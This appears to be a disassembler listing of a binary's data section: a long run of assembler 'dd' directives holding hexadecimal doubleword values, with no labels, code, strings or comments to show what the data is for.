		dd 0CD008091h, 0AA21A2A9h, 3842E0h, 0D7626A82h,	0E36109F7h
		dd 851D1400h, 0D992A850h, 982C000Eh, 0A62EA32Fh, 0F6A03C08h
		dd 333E3FBCh, 866300D8h, 93605EC4h, 81738Ch, 70469522h
		dd 67E4A2EFh, 79487D0Ch, 5A1071h, 47D75404h, 7701DE6h
		dd 65B90300h, 56FE11B5h, 2E0804D5h, 80B68DE8h, 91F4DC7h
		dd 0C957301Dh
		dd 0D821EF80h, 132ABCA0h, 0E0A714h, 9F84F770h, 0D4E0F809h
		dd 7514E00h, 95A84935h,	7CC8FA6Eh, 0A7EE01h, 1D685F65h
		dd 4BEF3884h, 7CBFA100h, 1893B6D0h, 0F65200F2h,	0B58FE7D5h
		dd 0A0002CD2h, 0A86D60CDh, 7250C13Ah, 89780012h, 9CC5925Ch
		dd 0B73B3BADh, 0D7B30054h, 155A68BCh, 0C4081D0Ah, 0F9574E88h
		dd 0ED2B5540h, 6500C7E8h, 0D4A621B0h, 153967h, 0F48F8788h
		dd 0C63127A7h, 9D443400h, 0A928523Fh, 22170033h, 0D0B89FDDh
		dd 0E9000DFEh, 8CDE9CE4h, 13BD91h, 0D6A0F575h, 0E8D3A229h
		dd 2A04921Fh, 5E0CF126h, 0E8B718D1h, 5C9BE07Eh,	3A009DDEh
		dd 0B6A80293h, 4EC671Eh, 17199E00h, 0A31D740h, 0D01D13EBh
		dd 0D25001Fh, 0FAFC9721h, 0DB87C400h, 187F79DDh, 80BF3FD1h
		dd 3BE26F80h, 1CC1EE33h, 35FE9100h, 605D82AAh, 0FBC83C5Bh
		dd 0CC7D7880h, 0B442F994h, 40B03403h, 0E01D3B95h, 767B56h
		dd 0B96D049Dh, 0FF4E3363h, 180FB47Ch, 0CF8AB277h, 0C2FAE6E8h
		dd 0F2992780h, 8B002478h, 4AA11EF6h, 0D86BE2h, 0F9CE83BEh
		dd 987FA55Fh, 710028B8h, 650111C5h, 0B0BDB889h,	88360068h
		dd 7A8129F2h, 2400797Ch, 27469E4Fh, 0B997060h, 183748D6h
		dd 0BC9B7B00h, 0D13D19F4h, 43DA1F26h, 7CFF455Dh, 0CA05CE00h
		dd 79E4314Eh, 0E37600ECh, 925FCFB6h, 437F06A4h,	968BB00h
		dd 7E7A63Dh, 7798006Ch,	2CF9FF44h, 0C260E261h, 2064C540h
		dd 21B00EAh, 0B24AA16h,	0BB016D13h, 85821B2h, 0E8449771h
		dd 6FE390C0h, 18A200C2h, 0A49B1CC7h, 0BF004D4Ch, 339D640Ah
		dd 85A8E1h, 63888EB0h, 0C5518F1Fh, 0E9315300h, 34F02F24h
		dd 7D0DEE59h, 0B91C006Bh, 0ED8A9BC9h, 0EE00E268h, 0F8BCDBA2h
		dd 0C014482Dh, 82296C38h, 8C031B37h, 477E07F5h,	27C8008Ah
		dd 0F611AE76h, 0DF00BEE4h, 5D1A4106h, 457F89h, 0C395679h
		dd 77EEAA96h, 32ACC900h, 58767A99h, 0D44B0031h,	287C3457h
		dd 7950F35Bh, 0DA061D8Bh, 298AD050h, 0B78D0CE8h, 0B4708FA9h
		dd 0CB2F2002h, 980F43CCh, 7193598h, 0ED8065B3h,	0DBD4603Dh
		dd 940F715Ah, 60A51C79h, 27833A0Eh, 141DFCF2h, 0FC2B5B61h
		dd 0A7C8F00Fh, 17D8EE40h, 407DB7C0h, 5233F700h,	0EBAC3E61h
		dd 0B6EC3E63h, 35E54200h, 0BBBED71Dh, 0AA8F7507h, 419094B0h
		dd 0C1F13Ah, 192AA52Bh,	6BC57B74h, 8E519B00h, 0F8C824FDh
		dd 0C7D800B0h, 0A07F0DF9h, 0F6003CC4h, 5BEF8E50h, 13C00726h
		dd 0F519C05h, 0A040880Fh, 4371E9C1h, 17001B71h,	85BCB58Dh
		dd 0E4B766Ah, 0D0B12D10h, 10062907h, 874D803Ah,	0A1C59E03h
		dd 0E9129604h, 9C404FBAh, 20DB2Eh, 6E2565CBh, 10B77393h
		dd 0BD11FD03h, 0C844EA7Dh, 2416409Eh, 1820A9D5h, 0BCCEFAA6h
		dd 6AD88D00h, 7D42AB66h, 7CC70479h, 80BBCB61h, 8127EA8h
		dd 1FDC0300h, 0D3FC21E4h, 0AC354970h, 2C26D900h, 80BEE9AAh
		dd 4379A703h, 1F2A0944h, 8182DF28h, 6A8A0686h, 1B70205Fh
		dd 704BF201h, 0E3681B2h, 0FCE8EE60h, 9FB500A1h,	0C15C9DCDh
		dd 0D50075C4h, 0F0763C2h, 0EAB8Ah, 65CF1FB5h, 0A70844D0h
		dd 2C73B701h, 0FDC32B5Fh, 92362E0h, 35C7944Ah, 46006C09h
		dd 20D7B1A6h, 86248578h, 73074CAEh, 136027FAh, 0BC34Bh
		dd 67A76D46h, 4FF87121h, 80B47C24h, 0CC659007h,	1533E490h
		dd 0D9EC24FCh, 71BC0014h, 0C9DF92B5h, 701EF090h, 2D40EB6Dh
		dd 64CE885Ch, 522600F9h, 0A173B4F3h, 0E20095D1h, 17C3D8A7h
		dd 60A00192h, 0ADCC020Ah, 0C00E850h, 0E1F77894h, 0B2C58C6h
		dd 1E2A681Dh, 0FC2EBD00h, 0F200B2FDh, 58D0C394h, 5C48B1h
		dd 9278D402h, 0CD59387h, 0D686BE09h, 0BAC08036h, 149BB8h
		dd 71409D0Eh, 0EE6F1D02h, 9EF36800h, 63E8E1B2h,	0FE585C45h
		dd 34882701h, 70412CC9h, 47032805h, 390D0E1Ah, 38308004h
		dd 1F97707h, 3D16123Fh,	60FE793Ah, 0FF002A2Ch, 81179B09h
		dd 77B702Dh, 0D759A56Eh, 28EC81CFh, 1F109063h, 60D12911h
		dd 16E9F520h, 180C003h,	4B3CE8Fh, 6A2FD200h, 1C90B2DFh
		dd 8D7671h, 9BBEB465h, 72E966C6h, 91075975h, 6FCF90DDh
		dd 0A0975C53h, 0C0E35EC3h, 2DD5DC60h, 0D898BE3Ah, 0A6219060h
		dd 0E49B3470h, 29D46020h, 8491BFEBh, 0B32A5515h, 7E5C018Ch
		dd 72A67980h, 1EDBEDD8h, 8BBB906Dh, 2300E3B4h, 7FC508B2h
		dd 737CFB03h, 89BC89C1h, 0AC04181h, 30FF003Ah, 72368EC4h
		dd 47009E13h, 855BC68Dh, 42B064h, 800F79E8h, 61D5373Fh
		dd 96B8FB0Ch, 4E81BAh, 159FF668h, 48DE68Eh, 7A1F9870h
		dd 0B9B0B9CAh, 71E7BDADh, 0EE3700EDh, 0BE9C09F5h, 58008856h
		dd 0E9D1333h, 178DCA8h,	590C7E87h, 80C9E716h, 515E2F60h
		dd 0B03CCA20h, 50DF6Ch,	74D8694Ah, 5E007142h, 223218DBh
		dd 7A64B7h, 0E2977584h,	79290962h, 0A41E0828h, 7B44AA3Eh
		dd 2E0054F4h, 538EF767h, 0F2961C33h, 714A0073h,	361A3EBh
		dd 0F41717F9h, 0F303E18Ch, 0BBD7BCBAh, 0CB7EC176h, 30B10270h
		dd 0CAE1D6B9h, 0D5165568h, 6F00F4DAh, 4B2F6FEEh, 0D85BEA3Ch
		dd 51DF28B0h, 0AFA43E0Fh, 2DA921EBh, 0EE84396h,	75600078h
		dd 76E71E63h, 3B0101BCh, 0CEA4FC9Dh, 2220D599h,	6408C680h
		dd 18002074h, 0B128FC95h, 6097BFA6h, 1C6639D1h,	0D70F4F1Dh
		dd 60963AE9h, 0D1791F5Ah, 624502CAh, 3CC7602Ah,	12CD3F60h
		dd 8E304300h, 351FDB06h, 204567DAh, 4508C01h, 0B610A100h
		dd 2579431Dh, 202B60B2h, 1993DBCBh, 28E67C30h, 0F4037361h
		dd 0A27F03ABh, 0A02786C0h, 210089A3h, 0A4038B50h, 0D9B7CAh
		dd 34669F56h, 1D598840h, 63A1F600h, 0C068D4Ch, 1481002Fh
		dd 0C12E5D07h, 180074E0h, 0CDD64BE4h, 6747F4h, 0A8277FDFh
		dd 0E0B5423Fh, 41ED6D00h, 0D6CDBD7Bh, 0D10E00A1h, 25208594h
		dd 8F02A8D4h, 10E1AA26h, 33D280AEh, 0B82D4265h,	0B02800A6h
		dd 0C261258Ch, 0BC00E4BFh, 263C5C20h, 0A8B211h,	0F50DFCD7h
		dd 0DB429BC3h, 0B1D9D300h, 7651C41Ah, 8F4C03FEh, 0BAE7AA57h
		dd 4AC539F0h, 38133Ch, 0BE776029h, 346570D6h, 6E102706h
		dd 0F8010C04h, 7E9D105Ah, 6D1A0257h, 47BEB0B1h,	0EADEEAC1h
		dd 0B7A8F80h, 930053DFh, 6E565C26h, 4A8804h, 175BFD0Eh
		dd 0ABDF745h, 28546201h, 0CA316199h, 37CEFCh, 0B6DFFE30h
		dd 48AFE6E5h, 6058A900h, 0DE2443C9h, 0FC985A28h, 1D5898h
		dd 9D6E6A7Eh, 0EC830h, 87A8847Dh, 78BC28DFh, 0ED13C401h
		dd 0D612F209h, 943760h,	25F50F6Eh, 845C8EC1h, 0D4E5E800h
		dd 495806ECh, 0F7F43D1Dh, 86403A80h, 38D31E61h,	9D72BE39h
		dd 0F08558AAh, 49C3FD94h, 0E49D8F4h, 33440747h,	50013924h
		dd 3F85F0C2h, 0BB03B700h, 26FF62D8h, 9492001Eh,	0C8739F10h
		dd 0F0B3844h, 80BF1C5Eh, 0D159FE57h, 53C2193Ch,	60646837h
		dd 2E00256Eh, 0F7B54F5Dh, 743D4B8Ch, 0C14D3ED5h, 64ADA080h
		dd 8EAFC208h, 8313553Eh, 0F0A7CC4h, 0A072CAD7h,	0F8EEBFDCh
		dd 583460B5h, 93DF3C86h, 6600A7FEh, 0ED0A7EAEh,	0C7FEDAh
		dd 3E12C160h, 34F7CA80h, 927FBC04h, 3B8145A0h, 4246264h
		dd 704D00ACh, 0EF4AE44h, 0BC772166h, 28C1041Eh,	19FB15C0h
		dd 0E238F7h, 973E228Ah,	923AF475h, 18FECE00h, 7D9D499Ah
		dd 3D8500E3h, 28068B4Dh, 6B7453DAh, 38140475h, 3E9893D3h
		dd 58F980DDh, 5D0227A9h, 133400B0h, 90EAD42Bh, 1D00B39Dh
		dd 757DB71Ah, 2CFB83h
		dd 780F8458h, 87A33CAEh, 92948203h, 0B8127ADDh,	3972F0D5h
		dd 1F0E0FCh, 17BF74F5h,	60654F0Fh, 0DC03EA30h, 0A380F049h
		dd 5E6EC01Eh, 59C003C3h, 3CB1D157h, 0B0557B80h,	86E17300h
		dd 60BD5FFFh, 1E760766h, 709802B1h, 29D12515h, 8B13BE00h
		dd 648EB430h, 96F62421h, 7AD780C8h, 71F4B6AFh, 4357E100h
		dd 0DB621FEAh, 0EFEC0061h, 51074C85h, 83002A26h, 7E23D871h
		dd 0E6E4020h, 74DCD0A7h, 518A78C6h, 0BF002175h,	4466CDD8h
		dd 0EAEA62B0h, 0BDE2C9h, 6E21F1B7h, 0D7757EB3h,	31DE3Fh
		dd 0E7DC4465h, 0C6D2837h, 1453E302h, 2B775CC0h,	88A0F77Eh
		dd 82790B37h, 5130AF1Dh, 6A1E8140h, 244E96h, 54673BC8h
		dd 4C5EBFC0h, 3F91A800h, 7A6DAE23h, 2A720EE1h, 0E02356DDh
		dd 5BE3FAF5h, 609F7800h, 0E58A80CFh, 828900D6h,	417A144Eh
		dd 0F0268B1Ah, 0B3813870h, 3077D875h, 0E6DDB181h, 60682924h
		dd 80609E5Eh, 0F1114AB8h, 6DEF003Eh, 6E0BDFD0h,	0F004191h
		dd 0A1955AA3h, 0E54FF50h, 1EE8F946h, 60422987h,	6DC214EDh
		dd 8BE23D3Eh, 80369BFAh, 954C467Ah, 0BFAF00BBh,	0D3863754h
		dd 6C07E190h, 8C1EB01Ah, 5CFDC480h, 5BF317BCh, 759400DEh
		dd 7A8E9E9Ah, 8A513D03h, 0A8C9E218h, 0BA3236h, 0A2B7789Ch
		dd 0A08359D4h, 885B8700h, 41AF6D31h, 0E96B004Ah, 26723339h
		dd 7D00D6D9h, 8C35A4Bh,	0BAEC99h, 0DAE9D230h, 0CCC819B3h
		dd 118E0C00h, 1B805D8Dh, 1F18F6ECh, 38A77FDh, 0F1A78FBFh
		dd 0BBC8E188h, 0A4BBC3Ah, 0AC74C037h, 459D1C07h, 0FA02FC80h
		dd 476D0051h, 573ADE6Bh, 3230A9ACh, 0D208B8A2h,	2BE7009Ah
		dd 0A54A69EEh, 98385433h, 7DEB0084h, 8107EF25h,	0C5480746h
		dd 708A3B97h, 8959A5A4h, 476E6900h, 0D64F1C9Dh,	1D200E1h
		dd 0A2ED3D4h, 0A900EE3Dh, 9561C536h, 0AEFEBEh, 0F871645Eh
		dd 0CB2FFFF2h, 0EB086B1Eh, 9281BB1Eh, 1CBC5AA1h, 0F4C9D8E8h
		dd 0CEFE3093h, 479C37D1h, 719E1612h, 791C1440h,	97E899h
		dd 0B68B0F45h, 4DBB4302h, 0AD041A00h, 0B31049AEh, 0E8003A0h
		dd 18A5B86Ch, 0CA0611E8h, 30035175h, 0A06D02F1h, 0E868D3A4h
		dd 7ADF38h, 0EF10CCE6h,	0DE178F45h, 15489000h, 0BDB31B40h
		dd 0DA7705CAh, 5D6A91h,	0FB3ED8C2h, 100EF93h, 2E49B8AFh
		dd 24F17Ch, 0C32163B7h,	0DA085A5h, 0EE48B4E0h, 987E0045h
		dd 44691E67h, 0FD410002h, 0BB0D8B16h, 2C2C6555h, 6A9FE82Bh
		dd 81BC15C9h, 721D107h,	1B6EF0DBh, 20F0A68Ah, 0D5E65312h
		dd 0F8F74A00h, 0E8FE7213h, 44A539CDh, 3255FA00h, 3BA2E3DAh
		dd 0E4174D00h, 0C9756D97h, 0D8CB12ADh, 0DB9C0055h, 0F4FD05B0h
		dd 70729403h, 0A761EE28h, 4DCDE351h, 0B3FFCCh, 84B09541h
		dd 9C4A9713h, 0F2B9F700h, 0FA614324h, 3747004Dh, 4CDCF0E8h
		dd 0EC20F77h, 40720C9Fh, 86832h, 51A03FBBh, 53CED809h
		dd 0D55F0E02h, 0E0FD2734h, 11BE38h, 73258FB5h, 5A41E4FBh
		dd 0C5922C00h, 9E7EC4A6h, 6BBC07E8h, 40AA216Dh,	2EF1BD1Ah
		dd 0DA0DA700h, 1E18CB15h, 8E4B005Fh, 0F83DD093h, 6A1F9E47h
		dd 5D404584h, 1D1244D6h, 22405E0h, 0C0D406C1h, 8AF4C033h
		dd 0D2AB2E0Eh, 0C7BF4096h, 0F0180346h, 0ED2800E4h, 2EEB52CCh
		dd 0B400A90Ch, 2B0BAFFCh, 3B5949E6h, 0B8E2B56Eh, 0E28003D6h
		dd 3128AC68h, 0ADD75C00h, 59A88EF0h, 15890058h,	1542549h
		dd 0EF0BBAFFh, 20287A75h, 16D122E8h, 2BFEA121h,	0FB510D0h
		dd 0AB04137Ch, 0C0AA26E5h, 0ACA31B0Ch, 0BE347B1Dh, 0BF818E40h
		dd 8B111Eh, 97B5AF8Dh, 0F9CAB8B0h, 812CAA3Dh, 0BFF43461h
		dd 68BC7546h, 2F102431h, 2C20167Fh, 0F6BD85h, 0FD74143Eh
		dd 0BE0E37ADh, 0EB862BFCh, 0B810A159h, 0B080D0A9h, 0C3CBEFD8h
		dd 9600E3B7h, 0A6102BE9h, 0CAF8894h, 78A8F4DCh,	3A0F3838h
		dd 0E39D08h, 0DFCCDD90h, 7654009Fh, 4C3593C5h, 1700F9E5h
		dd 1BAB80CEh, 0E43027h,	0C7D3454Eh, 54E25F16h, 7077F200h
		dd 4C6AE701h, 0F46DE8B6h, 94501E02h, 5BF643A5h,	29CB18DAh
		dd 4BC10AF0h, 0D42B3B24h, 5A327600h, 5D72D0h, 1E29BDD5h
		dd 0A598F6E4h, 0E13AF31Fh, 0BA146C0h, 7EDCFB93h, 8402506Ah
		dd 86600A1Ch, 81D02A03h, 1F360FC7h, 0AC0700A0h,	3E08CC14h
		dd 17006A21h, 9DEBCF36h, 1A83437h, 22132F4Ah, 706D2C93h
		dd 0A201622Eh, 2977C22Bh, 0AC575083h, 71B8A800h, 0E7B006CDh
		dd 8C8D53Dh, 15214960h,	3DCB881h, 0BDA34C87h, 48067D75h
		dd 27FBAFE0h, 7354650h,	0CD65B8ACh, 3B32E294h, 0B8841920h
		dd 8C8F00CEh, 9DAEC80h,	54619DE5h, 0F6386021h, 7F08BCh
		dd 0F2091CAEh, 4DEFB9C4h, 4C05F100h, 88E504D2h,	0FF510F97h
		dd 56A06896h, 3421F2E4h, 3A808A50h, 0A3240A07h,	0FCEAA169h
		dd 961E200h, 0E3EBF0h, 802FDB26h, 46C45329h, 63382560h
		dd 3B48E8h, 82EB946Ch, 117DB0E7h, 35D71300h, 2E178001h
		dd 5ADB00B3h, 0C679F2D8h, 21267BE2h, 86003ECBh,	47679B0Fh
		dd 4EBA0045h, 2E8E3FF2h, 9F4C5781h, 9A8F001Ch, 0DA1AB4D7h
		dd 0C0C200FCh, 0A658461Dh, 0A300047Dh, 0D775537h, 1E749F7h
		dd 0F8C2B88Ah, 0E47813B1h, 9B047BBBh, 1D208FFCh, 0AEF03580h
		dd 96E20721h, 0C006232Dh, 93D5AA1Bh, 738CC5Ch, 0C422356Eh
		dd 0D847A113h, 0FE4416h, 0F6329061h, 0A67FDD64h, 912BE00h
		dd 0CC94DB7Dh, 877C1817h, 0B6E418BDh, 81991403h, 0EE77F73h
		dd 12D3F258h, 4472E547h, 5369C06Ah, 95007E25h, 0DB7FBF4Eh
		dd 1E26FC6Dh, 1DBE0F9Bh, 0C3730065h, 0C2441AB1h, 1718B766h
		dd 32A7958h, 9E50CEE6h,	0D1F836CCh, 0D7180C41h,	52716CB7h
		dd 0FAF612h, 0DD053CDAh, 0AB2069F5h, 0CD009B7Ch, 0C62B46DEh
		dd 0C0806495h, 0FC1AD530h, 68C6AE1Eh, 3C499EB7h, 4A01AA3Ch
		dd 0DC791249h, 4D57D82Ah, 2D941804h, 85003EB6h,	0D18F4E02h
		dd 0AB540E00h, 38B2DD1Eh, 0C8F40039h, 9D3BA307h, 0BD73E8FFh
		dd 6316800h, 70B5847Ch,	8BA500D8h, 0D181B8A1h, 250A4F9Ah
		dd 916E27B7h, 43E10300h, 0FE391Eh, 0D1F1B468h, 0B775BC78h
		dd 0AFDD5F1Dh, 7731DF40h, 16C3A260h, 0C588E3h, 26E0D57Ch
		dd 2004F46h, 4AE1DEE5h,	0C9CADFh, 8D03BC79h, 61241132h
		dd 0E94F8600h, 0CADB1E19h, 7BAE00D1h, 0CB558EF6h, 6C01837Ah
		dd 0C95FA712h, 88874AA0h, 70BFF5D6h, 65021E2Bh,	0D58D4200h
		dd 13457E3Bh, 301403D4h, 0F4EF09FAh, 1E79F11Dh,	0ABA7C040h
		dd 4B0CD9h, 0D77BE469h,	0A4BE30B3h, 0B4D2D303h,	80CF2DA9h
		dd 1B5609Ah, 0BB4783F1h, 80E14535h, 61E53948h, 0BD3ECAA0h
		dd 8A0E2A70h, 0B896CBF5h, 0ED964A8h, 0DCE36778h, 0D382C8A0h
		dd 0F230DA69h, 6DC441E8h, 32EA037Ah, 9AD7BF15h,	3EF5D188h
		dd 0BA35D200h, 2BAD3FDFh, 0E2F403A3h, 97B4150Fh, 870A5387h
		dd 1EE760E7h, 8A3D8973h, 7B11833Dh, 0A8339243h,	3A1C6F1h
		dd 9AA75FAAh, 18A35E57h, 58E12100h, 63D47F1h, 2F3E00D3h
		dd 9B41978Ah, 5E024D6Ah, 882A3315h, 0F4F98113h,	38BC6C1Eh
		dd 55105B01h, 6062B3EAh, 7E63FE33h, 425808h, 48384520h
		dd 35AFB877h, 94AD1F00h, 0FDE82130h, 0E34E33F3h, 896413B0h
		dd 0D6039B8h, 0A110D2F1h, 1EC85E0Ah, 0F615C580h, 4D913h
		dd 376FCA6Bh, 79A88C3Eh, 18843B40h, 193CA678h, 2640AA88h
		dd 0A09C011Bh, 916CADA7h, 89F8F776h, 6430301Ah,	582031D2h
		dd 0EEDB003Ah, 5C861711h
		dd 0F1063195h, 0C3DFBB16h, 35F2D6h, 1EC6B565h, 374F6FF3h
		dd 0E1853601h, 75493216h, 6241D4h, 64BB28F2h, 5BE64AA2h
		dd 5306DD75h, 46E58A8Eh, 61023009h, 0DBB10620h,	0F157AE00h
		dd 6C146520h, 6F6B0637h, 490DC6B9h, 2B1DAA00h, 0AE309D3Fh
		dd 28B63129h, 806CC408h, 2B45A120h, 1C95DD9Ah, 1ECE5DBh
		dd 0DECB2FCAh, 5D688062h, 0D7E4D0F9h, 7B771D69h, 0E1BE0E66h
		dd 4A9849A0h, 39526264h, 0DD42025Ch, 319653B3h,	215180DFh
		dd 73D1DBB5h, 3A521C14h, 542C078h, 97CBCFB7h, 2869C830h
		dd 0E2064C6h, 0E6DD7D9Bh, 4C3C0093h, 4869D219h,	2BCBE01Fh
		dd 0A28229F0h, 0C5AF5C29h, 196E0826h, 806D08A4h, 29F06221h
		dd 1CB8E8Bh, 0E1C4521Bh, 139FF180h, 4482E985h, 81C4AFF2h
		dd 0BD4FFBCBh, 2384E0h,	1D473E73h, 223B9C06h, 0DABC960Eh
		dd 189A401Eh, 0E1C88Fh,	0CAC95D54h, 8EBADCA9h, 0A23F1D00h
		dd 0E263E93Ch, 4CF06B7Ah, 0ED731301h, 15C320DCh, 1732FC00h
		dd 99B44505h, 0E49B002Eh, 0F57830CFh, 6300DA66h, 0D5803DDCh
		dd 13C4C7AFh, 0C02FEFh,	0D253F503h, 6500D703h, 4F29FDA4h
		dd 39225EAFh, 7E035D85h, 61986CECh, 0CF0D6A88h,	0FFEF5B00h
		dd 3701881Fh, 47AC1F2Bh, 44964EA1h, 494E9B20h, 0E3008A7Bh
		dd 1F08B152h, 0E0D5F40Bh, 327F00CBh, 0A388E880h, 9D00B093h
		dd 3092813Ah, 753E27A9h, 6731F41Ch, 0DC73084Ch,	18007020h
		dd 763614A9h, 38D3F7F8h, 163ECC7Ch, 289FF995h, 6B2CF7ACh
		dd 0C8004936h, 42498EB9h, 6AE65CD5h, 7DE0007Bh,	401BB6BDh
		dd 7501FD38h, 436E6CBAh, 54CCB29Ah, 0B5DB3730h,	0E7D8050h
		dd 35014E5Dh, 12AEE7B8h, 70D0F950h, 4C20C03Dh, 423E5EB5h
		dd 0E211F409h, 0ACDA8009h, 31E17C91h, 9D298CCEh, 0D95621A8h
		dd 5A11813Fh, 0CC59F40Eh, 37169FE4h, 9F08C7B1h,	365D20D8h
		dd 2F9F400h, 6E7627F2h,	21E7F89h, 406CB958h, 54903654h
		dd 60115E98h, 5A88A835h, 0FED694h, 0B5DC8B78h, 903197CDh
		dd 0B45A5050h, 91E600ABh, 0CC8C68EBh, 282A8278h, 2E0CC006h
		dd 28646676h, 37C8013Fh, 0B1A6CEADh, 3368C885h,	0D2895400h
		dd 0D61E6EDDh, 6F2507E2h, 10ABF14Ch, 76BA6556h,	5007DFFEh
		dd 3C88781Ch, 0B2BB0BE0h, 2A110070h, 68DE47CBh,	0A3025523h
		dd 0F3377309h, 964BC00Ch, 7DECDDh, 92FE35E6h, 7B559BA5h
		dd 3000F698h, 62FAEFFDh, 7E3BB58Bh, 0C4768Eh, 4AF3E3D1h
		dd 6358E416h, 9FAF5200h, 7372DB70h, 9BF428h, 0B5B40419h
		dd 9559BCBEh, 2400EFF8h, 0BF69C83h, 318AEDAh, 2B0CA9E4h
		dd 3800937Dh, 0DD57FA60h, 12FC31h, 2990D55Eh, 0ACF89666h
		dd 5020C400h, 87583728h, 405004Bh, 0DF9386D3h, 68E0D1FAh
		dd 50E91C00h, 0A76E0F7Eh, 59C61CE8h, 557C40C7h,	0C0F8B60Bh
		dd 20658036h, 0D53D0018h, 7D16A626h, 0BC00DADBh, 0E90EF096h
		dd 0C4E34DCh, 0FC6850B2h, 0FE0FE548h, 4001B635h, 0B5C1C587h
		dd 44B907F7h, 30E669FDh, 1156F247h, 23006174h, 7E955835h
		dd 0AC476EBh, 8CDCC98Fh, 7C3F8090h, 3B750569h, 0E5CC4D01h
		dd 2CAE9714h, 0B3C0CDC3h, 302F3562h, 0C53066BFh, 2E0011F8h
		dd 912B383Ch, 7ADE8F52h, 0CAB00053h, 0C9FAAD0Fh, 0DC07CD70h
		dd 0A468311Eh, 53276F20h, 1C73E40Bh, 9E24DBE1h,	0E7BD00ADh
		dd 6851FC66h, 2AE50E13h, 5AD58103h, 75AA80E1h, 1B6E066Bh
		dd 18E3C72Fh, 0CABF2600h, 0D611998Dh, 0A9B60007h, 883F5202h
		dd 98008C62h, 3C3BCA6Dh, 0CEB947EEh, 0BDE02D11h, 48FDF5C4h
		dd 18387518h, 3CD408h, 0E187CA6Ch, 11EA1EB2h, 2DC43300h
		dd 489A9347h, 0B91C038Ah, 0FE77988Dh, 603FB200h, 578567D9h
		dd 7D0900CAh, 7A7E9C62h, 8F60AB21h, 3EE5D670h, 0DC04001Ah
		dd 2859970Ch, 7A00416Ch, 498F29A8h, 3A39F0B1h, 4000656Ah
		dd 0ECA094F4h, 710CE7A1h, 0D04DF20Ch, 6D851CDDh, 102C996Ch
		dd 0CD6C4A3Ah, 6C0020B1h, 793DF78h, 0E7A05CE8h,	0A243CFFAh
		dd 7001C32Ch, 36BF8F95h, 8E300A14h, 0D03F26C5h,	7DE16D0h
		dd 1A9EE507h, 668008Ch,	344F20EAh, 380379ECh, 0D6AF22E4h
		dd 49179087h, 5C300BAh,	0B6C8DF48h, 5878E1D5h, 4C71BE00h
		dd 64D14BD8h, 0F41E007Fh, 22A7F8B0h, 0AF742DD0h, 8F190800h
		dd 128E6AF6h, 0E59C0018h, 13F177E0h, 9A002DFCh,	1B32C0A5h
		dd 7AEE3721h, 2854339Bh, 12F98540h, 3FA86047h, 0DE74ED03h
		dd 0F6C21F84h, 3DA9176Eh, 0F2DD0168h, 0E4A6229Bh, 5403BC83h
		dd 2858D12Fh, 7BF8900Fh, 1E3FF8AAh, 186F14FCh, 0CBF7A19Eh
		dd 19CC7300h, 12DBED13h, 0D68F016Eh, 6F10B15Dh,	0F434F98Dh
		dd 910D3C2Ah, 9933FDDAh, 3CF211F0h, 0D806237Bh,	68611606h
		dd 2C24120Fh, 68EA8385h, 0EEC7B0DDh, 9B0D018Ch,	0F867E0CFh
		dd 282770E3h, 958A4D0Fh, 299A20A8h, 0AB241Fh, 0FAC08D06h
		dd 0EED5A57Fh, 5700287Ch, 0C546F717h, 1D5A32BCh, 40135D2Bh
		dd 0C7F1942Eh, 0A548BBA7h, 0CF0501B6h, 52AE014Dh, 31D4D4h
		dd 0CCD96BEh, 9E39460h,	0AD76901h, 0CF9A97DAh, 3CD0BBFDh
		dd 3693015Bh, 388F9DB1h, 2B75E03Fh, 55BA8900h, 0D3BEF639h
		dd 0E6210714h, 0AF69D4E4h, 0F796FBE1h, 0DBEBFF26h, 8EB655D8h
		dd 0F21BAF06h, 196EC7h,	57B0C59Ch, 0ABBAA53Fh, 0BC3B40h
		dd 874207A7h, 7EE826F9h, 790C030Fh, 0E232CF8Fh,	6033F39Ah
		dd 0C9F97B0h, 2C864725h, 0AD001398h, 0E1297066h, 19E31E7h
		dd 6D75260Bh, 0D793AE05h, 7EC040C8h, 80B8953Dh,	28AB7F12h
		dd 3F3207h, 26FCA1FEh, 8A453B0Ah, 0E9A45050h, 18B2F000h
		dd 0E1821CA2h, 7B770EDAh, 0F814B359h, 0FBF3E607h, 36009975h
		dd 135F1D3Bh, 84172F00h, 0FC5DE65h, 37FAC2h, 0AE4B9B41h
		dd 0AA385BB6h, 0FBF6EE00h, 4DEFD521h, 0BFA700B9h, 0A8C1903h
		dd 0F1188898h, 49283E3Ch, 0E7A86h, 0D785BF2Bh, 83AD3ACCh
		dd 0B52EB106h, 5144FCh,	0E6FEBE6Ah, 5BE2171Dh, 702E8D00h
		dd 81670D27h, 2DB312C2h, 87BC12h, 4E068F64h, 5C970BAEh
		dd 80002D8h, 0E0F515Ch,	849017B6h, 1115741Ch, 2084BEC7h
		dd 18F036h, 0C3F81D09h,	8C80954Bh, 0FE5921Dh, 50E0DB41h
		dd 71E096EFh, 0A1B600A8h, 69B54148h, 0E200E49Fh, 4905C886h
		dd 0DE1A38h, 46ECA6F7h,	15AB7D0Ch, 0BA6B3518h, 0C1BFCF1h
		dd 0F8479791h, 7400B930h, 41C6F067h, 0FA0D54h, 4334C3FDh
		dd 9FDED78Dh, 4229AA1Ch, 0F12705C0h, 0C7AB9Dh, 601578FCh
		dd 9FB54DA2h, 8701097Ah, 52D17642h, 0A0E05333h,	0D89A00D7h
		dd 26BE1084h, 0E40013EDh, 0A9ECD565h, 0F0A6186h, 540CB9FFh
		dd 0DD52D420h, 0BA00B519h, 0D5079A82h, 0D180D7h, 227C5E70h
		dd 8C06B20Dh, 0D42B8407h, 0FD4058AFh, 9DC9D3h, 48D7AE1h
		dd 0CFFA516Bh, 7D5C7374h, 0B84A000Eh, 72A1D828h, 1ABE0048h
		dd 3CFD12D1h, 60C52E34h, 14801051h, 3EFB570h, 49C3EBE6h
		dd 8801B1E9h, 19C07669h, 109FAEFDh, 720E8084h, 802FE92Dh
		dd 0FFBA95Ch, 6F8F32D0h, 8757E0BAh, 707B3Ah, 86835415h
		dd 6DCB675Eh, 61FC9700h, 58EA7DA8h, 7F450C52h, 0C31876A7h
		dd 0BCF1A60Fh, 96809D5Ch, 65DF83D1h, 2E57013Eh,	0FA6D43D4h
		dd 89B04073h, 0A201700Dh, 0DC34FDEBh, 0C0E01E72h, 58C96059h
		dd 0A477ABDh, 270D8F00h, 57FCCA86h, 28490ECFh, 0A940772Dh
		dd 3337C42Fh, 72816A00h, 4795149Ch, 3AD974BAh, 0C880A9E0h
		dd 5D6D4EBh, 0F11DE736h
		dd 3AC32580h, 0B020B53Eh, 0F2F40D3h, 0EFD7D914h, 0D1BA04C1h
		dd 40F238h, 291F2C80h, 4B000F4Fh, 36E19727h, 4C7ED6h, 5D1073Dh
